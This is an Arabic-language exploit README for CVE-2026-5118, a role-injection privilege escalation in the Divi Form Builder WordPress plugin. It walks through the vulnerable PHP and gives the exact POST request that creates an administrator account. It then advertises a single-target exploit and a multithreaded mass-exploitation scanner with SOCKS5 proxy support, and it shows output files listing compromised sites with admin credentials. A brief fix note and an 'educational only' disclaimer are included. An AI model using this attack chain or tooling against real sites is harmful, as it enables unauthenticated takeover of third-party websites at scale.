
استغلال آلي وماسح ضخم لـ CVE-2026-5118، تصعيد صلاحيات غير مصادق عليه في Divi Form Builder <=5.1.2 لـ WordPress، يتيح إنشاء حساب مسؤول عبر حقن الدور.
تصعيد غير مصادق عليه للصلاحيات عبر حقن الدور
=== Beelze ( zeroday 1diot9 ) ===
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-5118 |
| درجة CVSS | 9.8 (حرجة) |
| ناقل CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-269 — إدارة غير سليمة للصلاحيات |
| الإضافة | Divi Form Builder (بواسطة Divi Engine) |
| المتأثر | جميع الإصدارات ≤ 5.1.2 |
| المصحح | 5.1.3 (13 أبريل 2026) |
| نُشرت | 20 مايو 2026 |
| الباحث | 0xd4rk5id3 — EnvoraSec |
| الإثبات | Beelze ( zeroday 1diot9 ) |
إضافة Divi Form Builder لووردبريس معرضة لثغرة تصعيد غير مصادق عليه للصلاحيات في جميع الإصدارات حتى 5.1.2.
وظيفة create_user() داخل FormSubmissionHandler.php تقبل معامل role يتحكم به المستخدم من بيانات POST أثناء تسجيل المستخدم بدون التحقق من صحة الدور مقابل إعداد default_user_role المكون في النموذج. "الحماية" الوحيدة هي sanitize_text_field() — التي تزيل علامات HTML والترميز، لكنها لا تفعل شيئًا لتقييد القيمة بالأدوار الآمنة — متبوعة بفحص وجود فقط يتحقق من وجود الدور في ووردبريس (ودور administrator موجود دائمًا).
يسمح هذا الفشل الثلاثي للمهاجمين غير المصادق عليهم بـ:
fb_nonce) من كائن JavaScript de_fb_objform_type إلى register عبر POST — تحويل أي نموذج إلى نقطة تسجيلrole=administrator في إرسالية AJAXالنتيجة: استيلاء كامل على الموقع — بدون مصادقة، بدون تفاعل مستخدم، طلب POST واحد.
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~line 2250
$role = isset($form_data['role'])
? sanitize_text_field($form_data['role']) // ← يزيل فقط العلامات/الترميز!
: 'subscriber'; // ← 'administrator' يمر نظيفًا
sanitize_text_field() مصمم لتنظيف النص الحر (منع XSS). إنه لا يتحقق من صحة ضد قائمة مسموح بها من الأدوار الآمنة. السلسلة "administrator" لا تحتوي على علامات HTML ولا ترميز خاص — تمر كاملة دون تغيير.
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
!isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← احتياطي فقط إذا كان الدور غير موجود
}
هذا الفحص يسأل: "هل هذا الدور موجود في ووردبريس؟" — ودور administrator موجود دائمًا. لا يسأل أبدًا السؤال الصحيح: "هل هذا الدور آمن للتسجيل العام الذاتي؟" الفحص الصحيح يجب أن يتحقق من قائمة مسموح بها مثل ['subscriber', 'contributor'] أو يفرض إعداد default_user_role للنموذج.
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role); // ← دور يتحكم به المهاجم يُطبق مباشرة!
لا يوجد فحص current_user_can('create_users'). لا يوجد فحص current_user_can('promote_users'). لا يوجد التحقق من الصلاحية من أي نوع. يتم تمرير الدور الذي يوفره المهاجم مباشرة إلى set_role().
// ترجمة JS للواجهة الأمامية
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('security'), // ← نفس nonce على جميع النماذج، جميع الصفحات
// ...
]);
يتم إنشاء fb_nonce عبر wp_create_nonce('security') — سلسلة إجراء عامة مشتركة عبر كل نموذج DFB على الموقع. يمكن لأي زائر استخراجها من مصدر الصفحة بقراءة كائن JavaScript de_fb_obj.
// معالج AJAX
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
if ($form_type === 'register') {
$this->create_user($form_data); // ← يتم التشغيل عن طريق تجاوز POST!
}
يتم قراءة form_type من بيانات POST، وليس من تكوين النموذج من جانب الخادم. يمكن للمهاجم إرسال form_type=register إلى أي إرسالية AJAX لـ DFB — نموذج اتصال، طلب عرض أسعار، اشتراك في النشرة الإخبارية — وسينفذ الخادم مسار رمز التسجيل. الغرض الأصلي من النموذج غير ذي صلة.
[مهاجم غير مصادق عليه]
│
▼
GET /any-page-with-dfb-form/
← مصدر HTML: de_fb_obj = {"nonce":"abc123def0", ...}
│
▼
استخراج fb_nonce من كائن JavaScript de_fb_obj
│
▼
POST /wp-admin/admin-ajax.php
┌──────────────────────────────────────────────┐
│ action = de_fb_ajax_submit_ajax_handler │
│ fb_nonce = abc123def0 │
│ role = administrator ← محقون │
│ form_type = register ← متجاوز │
│ user_login = attacker_admin │
│ user_pass = AttackerPass123! │
│ user_email = [email protected] │
└──────────────────────────────────────────────┘
│
▼
sanitize_text_field('administrator') → 'administrator' ✓ ينجح
wp_roles()->roles['administrator'] موجود؟ → نعم ✓ ينجح
$user->set_role('administrator') ✓ بدون فحص صلاحية
│
▼
← {"success": true, "data": {"message": "User created"}}
│
▼
POST /wp-login.php
log=attacker_admin & pwd=AttackerPass123!
← 302 → /wp-admin/
│
▼
[وصول كامل كمسؤول] 🔥
CVE-2026-5118.py — استغلال هدف واحدسلسلة استغلال كاملة من 5 مراحل مع اكتشاف تلقائي للنماذج واستخراج nonce.
python3 CVE-2026-5118.py
رابط الهدف: https://target.com
اسم المستخدم [beelze_admin]:
كلمة المرور [Beelze123!!@#!]:
البريد الإلكتروني [[email protected]]:
زمن الانتظار (بالثواني) [15]:
وكيل SOCKS5 (فارغ = بدون):
مراحل الاستغلال:
المرحلة 1 ▶ إمكانية الوصول (HTTPS + احتياطي HTTP)
المرحلة 2 ▶ كشف الإضافة (فحص إصدار readme.txt)
المرحلة 3 ▶ اكتشاف النماذج واستخراج nonce
├── فحص صفحات REST API
├── استكشاف المسارات الشائعة
├── زحف خريطة الموقع
└── زحف روابط الصفحة الرئيسية
المرحلة 4 ▶ حقن الدور (تصعيد الصلاحيات)
المرحلة 5 ▶ التحقق من تسجيل الدخول كمسؤول
المخرجات (scan_results/CVE-2026-5118_success.txt):
https://target.com | beelze_admin:Beelze123!!@#!
CVE-2026-5118-mass.py — الماسح الضوئي الشاملاستغلال جماعي متعدد الخيوط مع تسجيل JSONL ودعم الاستئناف.
python3 CVE-2026-5118-mass.py
ملف الأهداف (رابط واحد في كل سطر): targets.txt
اسم المستخدم [beelze_admin]:
كلمة المرور [Beelze123!!@#!]:
البريد الإلكتروني [[email protected]]:
عدد الخيوط [10]:
زمن الانتظار (بالثواني) [10]:
ملف الوكيل (SOCKS5، واحد في كل سطر، فارغ = بدون):
استئناف الفحص السابق؟ (نعم/لا) [لا]:
الميزات:
المخرجات (scan_results/CVE-2026-5118_success.txt):
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
default_user_role للنموذج، متجاهلاً أي معامل role يوفره المستخدم من بيانات POSTBeelze ( zeroday 1diot9 ) — للأغراض التعليمية وأبحاث الأمان المصرح بها فقط